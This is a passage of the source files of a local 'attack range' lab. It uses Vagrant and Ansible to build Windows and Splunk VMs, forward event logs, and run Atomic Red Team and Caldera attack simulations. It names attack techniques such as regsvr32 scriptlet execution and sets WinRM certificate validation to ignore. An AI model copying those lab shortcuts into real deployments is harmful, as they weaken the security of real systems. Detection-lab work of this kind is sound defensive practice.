16 |
17 | Module xm_syslog
18 |
19 |
20 |
23 |
24 |
25 | Module xm_json
26 |
27 |
28 |
29 | Module xm_charconv
30 | AutodetectCharsets iso8859-2, utf-8, utf-16, utf-32
31 |
32 |
33 |
34 | Module xm_exec
35 |
36 |
37 |
38 | Module xm_fileop
39 |
40 | # Check the size of our log file hourly, rotate if larger than 5MB
41 |
42 | Every 1 hour
43 | Exec if (file_exists('%LOGFILE%') and \
44 | (file_size('%LOGFILE%') >= 5M)) \
45 | file_cycle('%LOGFILE%', 8);
46 |
47 |
48 | # Rotate our log file every week on Sunday at midnight
49 |
50 | When @weekly
51 | Exec if file_exists('%LOGFILE%') file_cycle('%LOGFILE%', 8);
52 |
53 |
54 |
55 |
56 | Module im_msvistalog
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 | Exec $raw_event= to_json();
68 |
69 |
70 |
74 |
75 |
76 | Path eventlog => file
77 |
78 |
--------------------------------------------------------------------------------
/ansible/roles/windows_universal_forwarder/files/nxlog_inputs.conf:
--------------------------------------------------------------------------------
1 | [monitor://C:\nxlog_out.txt]
2 | sourcetype = nxlog
3 | disabled = false
4 | index = win
5 |
--------------------------------------------------------------------------------
/ansible/roles/windows_universal_forwarder/files/powershell_inputs.conf:
--------------------------------------------------------------------------------
1 | [WinEventLog://Microsoft-Windows-PowerShell/Operational]
2 | disabled = false
3 | index = win
4 |
--------------------------------------------------------------------------------
/ansible/roles/windows_universal_forwarder/files/sysmon_inputs.conf:
--------------------------------------------------------------------------------
1 | [WinEventLog://Microsoft-Windows-Sysmon/Operational]
2 | disabled = false
3 | renderXml = 1
4 | index = win
5 | source= XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
6 |
--------------------------------------------------------------------------------
/ansible/roles/windows_universal_forwarder/files/win_event_log_inputs.conf:
--------------------------------------------------------------------------------
1 |
2 | ###### OS Logs ######
3 | [WinEventLog://Application]
4 | disabled = 0
5 | start_from = oldest
6 | current_only = 0
7 | checkpointInterval = 5
8 | renderXml=true
9 | index = win
10 |
11 | [WinEventLog://Security]
12 | disabled = 0
13 | start_from = oldest
14 | current_only = 0
15 | evt_resolve_ad_obj = 1
16 | checkpointInterval = 5
17 | blacklist1 = EventCode="4662" Message="Object Type:(?!\s*groupPolicyContainer)"
18 | blacklist2 = EventCode="566" Message="Object Type:(?!\s*groupPolicyContainer)"
19 | renderXml=true
20 | index = win
21 |
22 | [WinEventLog://System]
23 | disabled = 0
24 | start_from = oldest
25 | current_only = 0
26 | checkpointInterval = 5
27 | renderXml=true
28 | index = win
29 |
30 | ###### WinEventLog Inputs for Active Directory ######
31 |
32 | ## Application and Services Logs - DFS Replication
33 | [WinEventLog://DFS Replication]
34 | disabled = 0
35 | renderXml=true
36 | index = win
37 |
38 | ## Application and Services Logs - Directory Service
39 | [WinEventLog://Directory Service]
40 | disabled = 0
41 | renderXml=true
42 | index = win
43 |
44 | ## Application and Services Logs - File Replication Service
45 | [WinEventLog://File Replication Service]
46 | disabled = 0
47 | renderXml=true
48 | index = win
49 |
50 | ## Application and Services Logs - Key Management Service
51 | [WinEventLog://Key Management Service]
52 | disabled = 0
53 | renderXml=true
54 | index = win
55 |
56 |
57 | ###### WinEventLog Inputs for DNS ######
58 | [WinEventLog://DNS Server]
59 | disabled = 0
60 | renderXml=true
61 | index = dns
62 |
63 |
64 | ###### DHCP ######
65 | [monitor://$WINDIR\System32\DHCP]
66 | disabled = 0
67 | whitelist = DhcpSrvLog*
68 | crcSalt =
69 | sourcetype = DhcpSrvLog
70 |
--------------------------------------------------------------------------------
/ansible/roles/windows_universal_forwarder/tasks/collect_attack_simulation_logs.yml:
--------------------------------------------------------------------------------
1 | - name: Create folder directory for inputs configuration
2 | win_file:
3 | path: "{{ item }}"
4 | state: directory
5 | with_items:
6 | - 'C:\Program Files\SplunkUniversalForwarder\etc\apps\attack_simulation_inputs_app\local'
7 |
8 | - name: Copy inputs.conf configuration
9 | win_copy:
10 | src: atomic_red_team_execution_inputs.conf
11 | dest: 'C:\Program Files\SplunkUniversalForwarder\etc\apps\attack_simulation_inputs_app\local\inputs.conf'
12 |
--------------------------------------------------------------------------------
/ansible/roles/windows_universal_forwarder/tasks/collect_nxlog_logs.yml:
--------------------------------------------------------------------------------
1 | - name: Create folder directory for inputs configuration
2 | win_file:
3 | path: "{{ item }}"
4 | state: directory
5 | with_items:
6 | - 'C:\Program Files\SplunkUniversalForwarder\etc\apps\nxlog_inputs_app\local'
7 |
8 | - name: Copy inputs.conf configuration
9 | win_copy:
10 | src: nxlog_inputs.conf
11 | dest: 'C:\Program Files\SplunkUniversalForwarder\etc\apps\nxlog_inputs_app\local\inputs.conf'
12 |
--------------------------------------------------------------------------------
/ansible/roles/windows_universal_forwarder/tasks/collect_powershell_logs.yml:
--------------------------------------------------------------------------------
1 | - name: Create folder directory for inputs configuration
2 | win_file:
3 | path: "{{ item }}"
4 | state: directory
5 | with_items:
6 | - 'C:\Program Files\SplunkUniversalForwarder\etc\apps\powershell_inputs_app\local'
7 |
8 | - name: Copy inputs.conf configuration
9 | win_copy:
10 | src: powershell_inputs.conf
11 | dest: 'C:\Program Files\SplunkUniversalForwarder\etc\apps\powershell_inputs_app\local\inputs.conf'
12 |
--------------------------------------------------------------------------------
/ansible/roles/windows_universal_forwarder/tasks/collect_sysmon_logs.yml:
--------------------------------------------------------------------------------
1 | - name: Create folder directory for inputs configuration
2 | win_file:
3 | path: "{{ item }}"
4 | state: directory
5 | with_items:
6 | - 'C:\Program Files\SplunkUniversalForwarder\etc\apps\sysmon_inputs_app\local'
7 |
8 | - name: Copy inputs.conf configuration
9 | win_copy:
10 | src: sysmon_inputs.conf
11 | dest: 'C:\Program Files\SplunkUniversalForwarder\etc\apps\sysmon_inputs_app\local\inputs.conf'
12 |
--------------------------------------------------------------------------------
/ansible/roles/windows_universal_forwarder/tasks/collect_windows_event_logs.yml:
--------------------------------------------------------------------------------
1 | - name: Create folder directory for inputs configuration
2 | win_file:
3 | path: "{{ item }}"
4 | state: directory
5 | with_items:
6 | - 'C:\Program Files\SplunkUniversalForwarder\etc\apps\win_inputs_app\local'
7 |
8 | - name: Copy inputs.conf configuration
9 | win_copy:
10 | src: win_event_log_inputs.conf
11 | dest: 'C:\Program Files\SplunkUniversalForwarder\etc\apps\win_inputs_app\local\inputs.conf'
12 |
--------------------------------------------------------------------------------
/ansible/roles/windows_universal_forwarder/tasks/configure_outputs.yml:
--------------------------------------------------------------------------------
1 |
2 | - name: Create folder directory for outputs configuration
3 | win_file:
4 | path: "{{ item }}"
5 | state: directory
6 | with_items:
7 | - 'C:\Program Files\SplunkUniversalForwarder\etc\apps\win_outputs_app\local'
8 |
9 | - name: Copy an outputs.conf using templating
10 | win_template:
11 | src: outputs.conf.j2
12 | dest: C:\Program Files\SplunkUniversalForwarder\etc\apps\win_outputs_app\local\outputs.conf
13 |
--------------------------------------------------------------------------------
/ansible/roles/windows_universal_forwarder/tasks/create_deploymentclient.yml:
--------------------------------------------------------------------------------
1 |
2 | - name: Create folder directory for deplyment client configuration
3 | win_file:
4 | path: "{{ item }}"
5 | state: directory
6 | with_items:
7 | - 'C:\Program Files\SplunkUniversalForwarder\etc\apps\win_deploymentclient_app\local'
8 |
9 | - name: Copy an deploymentclient.conf using templating
10 | win_template:
11 | src: deploymentclient.conf.j2
12 | dest: C:\Program Files\SplunkUniversalForwarder\etc\apps\win_deploymentclient_app\local\deploymentclient.conf
13 |
--------------------------------------------------------------------------------
/ansible/roles/windows_universal_forwarder/tasks/install_nxlog.yml:
--------------------------------------------------------------------------------
1 |
2 | - name: Download nxlog from their website
3 | win_shell: |
4 | [Net.ServicePointManager]::SecurityProtocol = "tls12, tls11, tls"
5 | (New-Object System.Net.WebClient).DownloadFile("{{ nxlog_url }}", "C:\nxlog.msi")
6 |
7 | - name: Install nxlog
8 | win_package:
9 | path: C:\nxlog.msi
10 | arguments: '/quiet'
11 |
12 | - name: Copy nxlog.conf configuration
13 | win_copy:
14 | src: nxlog.conf
15 | dest: 'C:\Program Files (x86)\nxlog\conf\nxlog.conf'
16 |
17 | - name: Start nxlog
18 | win_service:
19 | name: nxlog
20 | state: started
21 |
22 |
23 |
--------------------------------------------------------------------------------
/ansible/roles/windows_universal_forwarder/tasks/install_splunk_uf.yml:
--------------------------------------------------------------------------------
1 |
2 | - name: Nslooup splunk.common
3 | win_command: 'nslookup download.splunk.com'
4 | register: output
5 |
6 | # - name: Debug nslookup
7 | # debug:
8 | # var: output
9 |
10 | - name: Download Splunk UF from Splunk website
11 | win_shell: |
12 | [Net.ServicePointManager]::SecurityProtocol = "tls12, tls11, tls"
13 | (New-Object System.Net.WebClient).DownloadFile("{{ splunk_uf_win_url }}", "C:\splunkuf.msi")
14 |
15 | - name: Install Splunk_UF MSI
16 | win_package:
17 | path: C:\splunkuf.msi
18 | arguments: 'WINEVENTLOG_SEC_ENABLE=0 WINEVENTLOG_SYS_ENABLE=0 WINEVENTLOG_APP_ENABLE=0 SPLUNKPASSWORD={{ splunk_admin_password }} AGREETOLICENSE=YES /quiet'
19 |
20 | - name: Start Splunk
21 | win_service:
22 | name: SplunkForwarder
23 | state: started
24 |
--------------------------------------------------------------------------------
/ansible/roles/windows_universal_forwarder/tasks/main.yml:
--------------------------------------------------------------------------------
1 |
2 | - include: install_splunk_uf.yml
3 | - include: create_deploymentclient.yml
4 | - include: configure_outputs.yml
5 | - include: collect_powershell_logs.yml
6 | - include: collect_attack_simulation_logs.yml
7 | - include: collect_sysmon_logs.yml
8 | - include: collect_windows_event_logs.yml
9 |
10 | - name: Restart splunk
11 | win_command: splunk.exe restart
12 | args:
13 | chdir: C:\Program Files\SplunkUniversalForwarder\bin\
14 |
--------------------------------------------------------------------------------
/ansible/roles/windows_universal_forwarder/templates/deploymentclient.conf.j2:
--------------------------------------------------------------------------------
1 | [deployment-client]
2 |
3 | [target-broker:deploymentServer]
4 | targetUri= {{ splunk_indexer_ip }}:8089
5 |
--------------------------------------------------------------------------------
/ansible/roles/windows_universal_forwarder/templates/inputs.conf.j2:
--------------------------------------------------------------------------------
1 | [streamfwd://streamfwd]
2 | splunk_stream_app_location = https://{{ splunk_indexer_ip }}:8000/en-us/custom/splunk_app_stream/
3 | stream_forwarder_id =
4 | disabled = 0
5 |
--------------------------------------------------------------------------------
/ansible/roles/windows_universal_forwarder/templates/outputs.conf.j2:
--------------------------------------------------------------------------------
1 | [tcpout]
2 | defaultGroup=my_indexers
3 |
4 | [tcpout:my_indexers]
5 | server={{ splunk_indexer_ip }}:9997
6 |
--------------------------------------------------------------------------------
/ansible/splunk_server.yml:
--------------------------------------------------------------------------------
1 | - hosts: all
2 | gather_facts: False
3 | become: true
4 | vars:
5 | hostname: splunk-server
6 | roles:
7 | - linux_common
8 | - search_head
9 | - splunk_phantom
10 | - splunk_phantom_configure
11 | - caldera
12 |
--------------------------------------------------------------------------------
/ansible/windows_dc.yml:
--------------------------------------------------------------------------------
1 | - hosts: all
2 | gather_facts: True
3 | vars:
4 | ansible_connection: winrm
5 | ansible_port: 5986
6 | ansible_winrm_server_cert_validation: ignore
7 | hostname: win-dc
8 | roles:
9 | - windows_common
10 | - windows_dns_server
11 | - windows_domain_controller
12 | - windows_universal_forwarder
13 | - windows_caldera_agent
14 | - sysmon
15 |
--------------------------------------------------------------------------------
/ansible/windows_dc_client.yml:
--------------------------------------------------------------------------------
1 | - hosts: all
2 | gather_facts: True
3 | vars:
4 | ansible_connection: winrm
5 | ansible_port: 5986
6 | ansible_winrm_server_cert_validation: ignore
7 | use_packer: "0"
8 | hostname: win-host
9 | roles:
10 | - windows_common
11 | - windows_domain_client
12 | - windows_universal_forwarder
13 | - windows_caldera_agent
14 | - sysmon
15 |
--------------------------------------------------------------------------------
/ansible/windows_workstation.yml:
--------------------------------------------------------------------------------
1 | - hosts: all
2 | gather_facts: True
3 | vars:
4 | ansible_connection: winrm
5 | ansible_port: 5985
6 | ansible_winrm_server_cert_validation: ignore
7 | use_packer: "0"
8 | hostname: win-client
9 | roles:
10 | - windows_common
11 | - windows_domain_client
12 | - windows_universal_forwarder
13 | - windows_caldera_agent
14 | - sysmon
15 |
--------------------------------------------------------------------------------
/apps/.gitkeep:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/splunk/attack_range_local/77113235f5394552ce2a79b622889675bfc2dbbf/apps/.gitkeep
--------------------------------------------------------------------------------
/attack_data/.gitkeep:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/splunk/attack_range_local/77113235f5394552ce2a79b622889675bfc2dbbf/attack_data/.gitkeep
--------------------------------------------------------------------------------
/attack_data/dumps.yml:
--------------------------------------------------------------------------------
1 | - name: sysmon_events
2 | dump_parameters:
3 | out: windows-sysmon.log
4 | search: source=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
5 | time: -2h
6 | replay_parameters:
7 | source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
8 | sourcetype: xmlwineventlog
9 | index: test
10 | enabled: True
11 |
12 | - name: windows_security_events
13 | dump_parameters:
14 | out: windows-security.log
15 | search: source=XmlWinEventLog:Security
16 | time: -2h
17 | replay_parameters:
18 | source: XmlWinEventLog:Security
19 | sourcetype: WinEventLog
20 | index: test
21 | enabled: True
22 |
23 | - name: windows_system_events
24 | dump_parameters:
25 | out: windows-system.log
26 | search: source=XmlWinEventLog:System
27 | time: -2h
28 | replay_parameters:
29 | source: XmlWinEventLog:system
30 | sourcetype: WinEventLog
31 | index: test
32 | enabled: True
33 |
34 | - name: powershell_events
35 | dump_parameters:
36 | out: windows-powershell.log
37 | search: source=WinEventLog:Microsoft-Windows-PowerShell/Operational
38 | time: -2h
39 | replay_parameters:
40 | source: WinEventLog:Microsoft-Windows-PowerShell/Operational
41 | sourcetype: wineventlog
42 | index: test
43 | enabled: True
44 |
45 | - name: stream_http_events
46 | dump_parameters:
47 | out: stream_http_events.log
48 | search: 'index=main sourcetype=stream:http'
49 | time: -24h
50 | replay_parameters:
51 | source: stream
52 | sourcetype: stream:http
53 | index: test
54 | enabled: False
55 |
--------------------------------------------------------------------------------
/attack_range_local.py:
--------------------------------------------------------------------------------
1 | import os
2 | import sys
3 | import argparse
4 | from modules import logger
5 | from pathlib import Path
6 | from modules.CustomConfigParser import CustomConfigParser
7 | from modules.VagrantController import VagrantController
8 |
9 |
10 | # need to set this ENV var due to a OSX High Sierra forking bug
11 | # see this discussion for more details: https://github.com/ansible/ansible/issues/34056#issuecomment-352862252
12 | os.environ['OBJC_DISABLE_INITIALIZE_FORK_SAFETY'] = 'YES'
13 |
14 | VERSION = 1
15 |
16 |
17 | if __name__ == "__main__":
18 | # grab arguments
19 | parser = argparse.ArgumentParser(description="starts a attack range ready to collect attack data into splunk")
20 | parser.add_argument("-a", "--action", required=False, choices=['build', 'destroy', 'simulate', 'stop', 'resume', 'dump'],
21 | help="action to take on the range, defaults to \"build\", build/destroy/simulate/stop/resume allowed")
22 | parser.add_argument("-t", "--target", required=False,
23 | help="target for attack simulation. For mode vagrant use name of the vbox")
24 | parser.add_argument("-st", "--simulation_technique", required=False, type=str, default="",
25 | help="comma delimited list of MITRE ATT&CK technique ID to simulate in the attack_range, example: T1117, T1118, requires --simulation flag")
26 | parser.add_argument("-sa", "--simulation_atomics", required=False, type=str, default="",
27 | help="specify dedicated Atomic Red Team atomics to simulate in the attack_range, example: Regsvr32 remote COM scriptlet execution for T1117")
28 | parser.add_argument("-c", "--config", required=False, default="attack_range_local.conf",
29 | help="path to the configuration file of the attack range")
30 | parser.add_argument("-lm", "--list_machines", required=False, default=False, action="store_true", help="prints out all available machines")
31 | parser.add_argument("-dn", "--dump_name", required=False, help="define the dump name")
32 | parser.add_argument("-v", "--version", default=False, action="store_true", required=False,
33 | help="shows current attack_range version")
34 |
35 | # parse them
36 | args = parser.parse_args()
37 | ARG_VERSION = args.version
38 | action = args.action
39 | target = args.target
40 | config = args.config
41 | simulation_techniques = args.simulation_technique
42 | simulation_atomics = args.simulation_atomics
43 | list_machines = args.list_machines
44 | dump_name = args.dump_name
45 |
46 | print("""
47 | starting program loaded for B1 battle droid
48 | ||/__'`.
49 | |//()'-.:
50 | |-.||
51 | |o(o)
52 | |||\\\ .==._
53 | |||(o)==::'
54 | `|T ""
55 | ()
56 | |\\
57 | ||\\
58 | ()()
59 | ||//
60 | |//
61 | .'=`=.
62 | """)
63 |
64 | # parse config
65 | attack_range_config = Path(config)
66 | if attack_range_config.is_file():
67 | print("attack_range is using config at path {0}".format(attack_range_config))
68 | configpath = str(attack_range_config)
69 | else:
70 | print("ERROR: attack_range failed to find a config file at {0} or {1}..exiting".format(attack_range_config))
71 | sys.exit(1)
72 |
73 | # Parse config
74 | parser = CustomConfigParser()
75 | config = parser.load_conf(configpath)
76 |
77 | log = logger.setup_logging(config['log_path'], config['log_level'])
78 | log.info("INIT - attack_range v" + str(VERSION))
79 |
80 | if ARG_VERSION:
81 | log.info("version: {0}".format(VERSION))
82 | sys.exit(0)
83 |
84 | if not action and not list_machines:
85 | log.error('ERROR: Use -a to perform an action or -lm to list available machines')
86 | sys.exit(1)
87 |
88 | if action == 'simulate' and not target:
89 | log.error('ERROR: Specify target for attack simulation')
90 | sys.exit(1)
91 |
92 | if action == 'dump' and not dump_name:
93 | log.error('ERROR: Specify --dump_name for dump command')
94 | sys.exit(1)
95 |
96 |
97 | # lets give CLI priority over config file for pre-configured techniques
98 | if simulation_techniques:
99 | pass
100 | else:
101 | simulation_techniques = config['art_run_techniques']
102 |
103 | if not simulation_atomics:
104 | simulation_atomics = 'no'
105 |
106 | controller = VagrantController(config, log)
107 |
108 | if list_machines:
109 | controller.list_machines()
110 | sys.exit(0)
111 |
112 | if action == 'build':
113 | controller.build()
114 |
115 | if action == 'destroy':
116 | controller.destroy()
117 |
118 | if action == 'stop':
119 | controller.stop()
120 |
121 | if action == 'resume':
122 | controller.resume()
123 |
124 | if action == 'simulate':
125 | controller.simulate(target, simulation_techniques, simulation_atomics)
126 |
127 | if action == 'dump':
128 | controller.dump(dump_name)
129 |
130 |
131 | # rnfgre rtt ol C4G12VPX
132 |
--------------------------------------------------------------------------------
/deploy_attack_range.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | sudo apt-get update
3 | sudo apt-get install -y python3-dev linux-headers-generic python-dev unzip python-pip vagrant virtualbox virtualbox-dkms python-virtualenv git
4 | sudo gem install winrm-elevated
5 | sudo gem install winrm
6 | git clone https://github.com/splunk/attack_range_local && cd attack_range_local
7 | virtualenv -p python3 venv
8 | source venv/bin/activate
9 | pip install -r requirements.txt
10 | ansible-galaxy collection install community.windows
11 |
--------------------------------------------------------------------------------
/docs/CONTRIBUTING.md:
--------------------------------------------------------------------------------
1 | # Contributing to the Project
2 |
3 | This document is the single source of truth on how to contribute to this codebase. Please feel free to browse the open issues and file new ones. All feedback is welcome!
4 |
5 | ----
6 |
7 | ## Topics
8 |
9 | * [Prerequisites](#prerequisites)
10 | * [Contributor License Agreement](#contributor-license-agreement)
11 | * [Code of Conduct](#code-of-conduct)
12 | * [Contribution Workflow](#contribution-workflow)
13 | * [Feature Requests and Bug Reports](#feature-requests-and-bug-reports)
14 | * [Fixing Issues](#fixing-issues)
15 | * [Pull Requests](#pull-requests)
16 | * [Code Review](#code-review)
17 | * [Documentation](#documentation)
18 | * [Maintainers](#maintainers)
19 |
20 | ----
21 |
22 | ## Prerequisites
23 | When contributing to this repository, please first discuss the change you wish to make via a GitHub issue, Slack message, email, or via other channels with the owners of this repository.
24 |
25 | ##### Contributor License Agreement
26 | At the moment, we can only accept pull requests submitted from either:
27 | * Splunk employees or
28 | * Individuals that have signed our contributors' agreement
29 |
30 | If you wish to be a contributing member of our community, please see the agreement [for individuals](https://www.splunk.com/goto/individualcontributions) or [for organizations](https://www.splunk.com/goto/contributions).
31 |
32 | ##### Code of Conduct
33 | Please make sure to read and observe our [Code of Conduct](contributing/code-of-conduct.md). Please follow it in all of your interactions involving the project.
34 |
35 | ## Contribution Workflow
36 | Help is always welcome! For example, documentation can always use improvement. There's always code that can be clarified, functionality that can be extended, and tests to be added to guarantee behavior. If you see something you think should be fixed, don't be afraid to own it.
37 |
38 | ##### Feature Requests and Bug Reports
39 | Have ideas on improvements? See something that needs work? While the community encourages everyone to contribute code, it is also appreciated when someone reports an issue. Please report any issues or bugs you find through [GitHub's issue tracker](https://github.com/splunk/attack_range/issues).
40 |
41 | If you are reporting a bug, please include:
42 |
43 | * Your operating system name and version
44 | * Any details about your local setup that might be helpful in troubleshooting (ex. Python interpreter version, Splunk version, etc.)
45 | * Detailed steps to reproduce the bug
46 |
47 | We'd also like to hear about your propositions and suggestions. Feel free to submit them as issues and:
48 |
49 | * Explain in detail how they should work
50 | * Note that keeping the scope as narrow as possible will make the suggestion easier to implement
51 |
52 | ##### Fixing Issues
53 | Look through our [issue tracker](https://github.com/splunk/attack_range/issues) to find problems to fix! Feel free to comment and tag corresponding stakeholders or full-time maintainers of this project with any questions or concerns.
54 |
55 | ##### Pull Requests
56 | What is a "pull request"? It informs the project's core developers about the changes you want to review and merge. Once you submit a pull request, it enters a stage of code review where you and others can discuss its potential modifications and maybe even add more commits to it later on.
57 |
58 | If you want to learn more, please consult this [tutorial on how pull requests work](https://help.github.com/articles/using-pull-requests/) in the [GitHub Help Center](https://help.github.com/).
59 |
60 | ###### Pre-commit Hooks
61 | We leverage [pre-commit hooks](.pre-commit-config.yaml) in our project to have some basic/local validation of common code artifacts before a commit is recorded. If you would like to learn more about pre-commit hooks please visit the projects [site](https://pre-commit.com/).
62 |
63 | Here's an overview of how you can make a pull request against this project:
64 |
65 | 1. Fork the [analytic\_story\_execution GitHub repository](https://github.com/splunk/attack_range/issues)
66 | 2. Clone your fork using git and create a branch off of master
67 |
68 | ```
69 | $ git clone git@github.com:YOUR_GITHUB_USERNAME/attack_range.git
70 | $ cd attack_range
71 |
72 | # This project uses 'master' for all development activity, so create your branch off that
73 | $ git checkout -b your-bugfix-branch-name master
74 | ```
75 |
76 | 3. Make your changes, commit, and push (once your tests have passed)
77 |
78 | ```
79 | $ cd attack_range
80 | $ git commit -m ""
81 | $ git push
82 | ```
83 |
84 | 4. Submit a pull request through the GitHub website, using the changes from your forked codebase
85 |
86 | ##### Code Review
87 | There are two aspects of code review: giving and receiving.
88 |
89 | To make it easier for your PR to receive reviews, keep in mind that the reviewers will need you to:
90 | * Follow the project coding conventions
91 | * Write good commit messages
92 | * Break large changes into a logical series of smaller patches which individually make easily understandable changes, and in aggregate solve a broader issue
93 |
94 | Reviewers, the people providing the review, are highly encouraged to revisit the [Code of Conduct](contributing/code-of-conduct.md) and must go above and beyond to promote a collaborative, respectful community.
95 |
96 | When reviewing PRs from others, [The Gentle Art of Patch Review](http://sage.thesharps.us/2014/09/01/the-gentle-art-of-patch-review/) suggests an iterative series of focuses designed to lead new contributors to positive collaboration, such as:
97 |
98 | * Is the idea behind the contribution sound?
99 | * Is the contribution architected correctly?
100 | * Is the contribution polished?
101 |
102 | For this project, we require at least one approval. A build from our continuous integration system must also be successful off of your branch. Please note that any new changes made with your existing pull request during review will automatically unapprove and retrigger another build/round of tests.
103 |
104 | ##### Documentation
105 | We can always use improvements to our documentation! Anyone can contribute to these docs--whether you’re new to the project, you’ve been around a long time, or if you just can’t stand seeing typos.
106 |
107 | Here's what's needed?
108 |
109 | 1. More complementary documentation. Have you something unclear?
110 | 2. More examples or generic templates that others can use.
111 | 3. Blog posts, articles, and such are all very appreciated.
112 |
113 | You can also edit documentation files directly in the GitHub web interface, without creating a local copy. This can be convenient for small typos or grammar fixes.
114 |
115 | ## Maintainers
116 |
117 | If you need help, feel free to tag one of the active maintainers of this project in a post or comment. We'll do our best to reach out to you as quickly as we can.
118 |
119 | ```
120 | # Active maintainers marked with (*)
121 |
122 | (*) Bhavin Patel
123 | (*) David Dorsey
124 | (*) Jose Hernandez
125 | ```
126 |
127 |
--------------------------------------------------------------------------------
/docs/attack_range_local_architecture.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/splunk/attack_range_local/77113235f5394552ce2a79b622889675bfc2dbbf/docs/attack_range_local_architecture.png
--------------------------------------------------------------------------------
/modules/CustomConfigParser.py:
--------------------------------------------------------------------------------
1 | import configparser
2 | import collections
3 | import sys
4 | from pathlib import Path
5 | import re
6 |
7 | class CustomConfigParser:
8 | def __init__(self):
9 | self.settings = {}
10 |
11 | def _config_rules(self, CONFIG_PATH):
12 | if self.settings['windows_domain_controller'] == "0" and self.settings['windows_server_join_domain'] == "1":
13 | print("ERROR - with configuration file at {0} 'windows_server_join_domain' must be set to '0' "
14 | "if the number of 'windows_domain_controller' is set to '0'".format(CONFIG_PATH))
15 | sys.exit(1)
16 |
17 | # Check for disallowed BOTS dataset combinations or syntax
18 | if self.settings['splunk_bots_dataset'] != '0':
19 | allowed_bots_data_sets = ('1', '1a', '2', '2a', '3')
20 | requested_bots_data_sets = [x.strip() for x in str(self.settings['splunk_bots_dataset']).split(',')]
21 | for requested_bots_dataset in requested_bots_data_sets:
22 | if requested_bots_dataset not in allowed_bots_data_sets:
23 | print("ERROR - in configuration file: {0}, unknown BOTS dataset identifier: {1}".format(CONFIG_PATH, requested_bots_dataset))
24 | sys.exit(1)
25 |
26 | if '1' in requested_bots_data_sets and '1a' in requested_bots_data_sets:
27 | print("ERROR - in configuration file: {0}, cannot include datasets '1' and '1a'".format(CONFIG_PATH))
28 | sys.exit(1)
29 |
30 | if '2' in requested_bots_data_sets and '2a' in requested_bots_data_sets:
31 | print("ERROR - in configuration file: {0}, cannot include datasets '2' and '2a'".format(CONFIG_PATH))
32 | sys.exit(1)
33 |
34 | if bool(re.search(r"\s", self.settings['splunk_bots_dataset'])):
35 | print("ERROR - in configuration file: {0}, cannot include whitespace in BOTS data set config directive.".format(CONFIG_PATH))
36 | sys.exit(1)
37 |
38 |
39 | def load_conf(self,CONFIG_PATH):
40 | """Provided a config file path and a collections of type dict,
41 | will return that collections with all the settings in it"""
42 |
43 | config = configparser.RawConfigParser()
44 | config.read(CONFIG_PATH)
45 | for section in config.sections():
46 | for key in config[section]:
47 | try:
48 | self.settings[key] = config.get(section, key)
49 | except Exception as e:
50 | print("ERROR - with configuration file at {0} failed with error {1}".format(CONFIG_PATH, e))
51 | sys.exit(1)
52 | self._config_rules(CONFIG_PATH)
53 |
54 | return self.settings
55 |
--------------------------------------------------------------------------------
/modules/VagrantController.py:
--------------------------------------------------------------------------------
1 |
2 | from jinja2 import Environment, FileSystemLoader
3 | import vagrant
4 | from tabulate import tabulate
5 | import re
6 | import ansible_runner
7 | import sys
8 | import os
9 | import yaml
10 | from modules import splunk_sdk
11 |
12 |
13 | class VagrantController():
14 |
15 |
16 | def __init__(self, config, log):
17 | self.config = config
18 | self.log = log
19 |
20 | if self.config['install_es'] == '1':
21 | self.config['splunk_es_app_version'] = re.findall(r'\d+', self.config['splunk_es_app'])[0]
22 |
23 | self.vagrantfile = 'Vagrant.configure("2") do |config| \n \n'
24 |
25 | if config['phantom_server'] == '1':
26 | self.vagrantfile += self.read_vagrant_file('phantom-server/Vagrantfile')
27 | self.vagrantfile += '\n\n'
28 | if config['splunk_server'] == '1':
29 | self.vagrantfile += self.read_vagrant_file('splunk_server/Vagrantfile')
30 | self.vagrantfile += '\n\n'
31 | if config['splunk_server'] == '0':
32 | self.vagrantfile += self.read_vagrant_file('caldera-server/Vagrantfile')
33 | self.vagrantfile += '\n\n'
34 | if config['windows_domain_controller'] == '1':
35 | self.vagrantfile += self.read_vagrant_file('windows-domain-controller/Vagrantfile')
36 | self.vagrantfile += '\n\n'
37 | if config['windows_client'] == '1':
38 | self.vagrantfile += self.read_vagrant_file('windows10/Vagrantfile')
39 | self.vagrantfile += '\n\n'
40 | if config['windows_server'] == '1':
41 | self.vagrantfile += self.read_vagrant_file('windows-server/Vagrantfile')
42 | self.vagrantfile += '\n\n'
43 | if config['kali_machine'] == '1':
44 | self.vagrantfile += self.read_vagrant_file('kali-machine/Vagrantfile')
45 | self.vagrantfile += '\n\n'
46 | self.vagrantfile += '\nend'
47 | with open('vagrant/Vagrantfile', 'w') as file:
48 | file.write(self.vagrantfile)
49 |
50 |
51 | def read_vagrant_file(self, path):
52 | j2_env = Environment(loader=FileSystemLoader('vagrant'),trim_blocks=True)
53 | template = j2_env.get_template(path)
54 | vagrant_file = template.render(self.config)
55 | return vagrant_file
56 |
57 |
58 | def build(self):
59 | self.log.info("[action] > build\n")
60 | v1 = vagrant.Vagrant('vagrant/', quiet_stdout=False, quiet_stderr=False)
61 | try:
62 | v1.up(provision=True, provider="virtualbox")
63 | except:
64 | self.log.error("vagrant failed to build")
65 | sys.exit(1)
66 |
67 | self.log.info("attack_range has been built using vagrant successfully")
68 | self.list_machines()
69 |
70 |
71 | def destroy(self):
72 | self.log.info("[action] > destroy\n")
73 | v1 = vagrant.Vagrant('vagrant/', quiet_stdout=False)
74 | v1.destroy()
75 | self.log.info("attack_range has been destroy using vagrant successfully")
76 |
77 |
78 | def stop(self):
79 | print("[action] > stop\n")
80 | v1 = vagrant.Vagrant('vagrant/', quiet_stdout=False)
81 | v1.halt()
82 |
83 |
84 | def resume(self):
85 | print("[action] > resume\n")
86 | v1 = vagrant.Vagrant('vagrant/', quiet_stdout=False)
87 | v1.up()
88 |
89 |
90 | def simulate(self, target, simulation_techniques, simulation_atomics):
91 |
92 | # check if specific atomics are used then it's not allowed to multiple techniques
93 | techniques_arr = simulation_techniques.split(',')
94 | if (len(techniques_arr) > 1) and (simulation_atomics != 'no'):
95 | self.log.error('ERROR: if simulation_atomics are used, only a single simulation_technique is allowed.')
96 | sys.exit(1)
97 |
98 | run_specific_atomic_tests = 'True'
99 | if simulation_atomics == 'no':
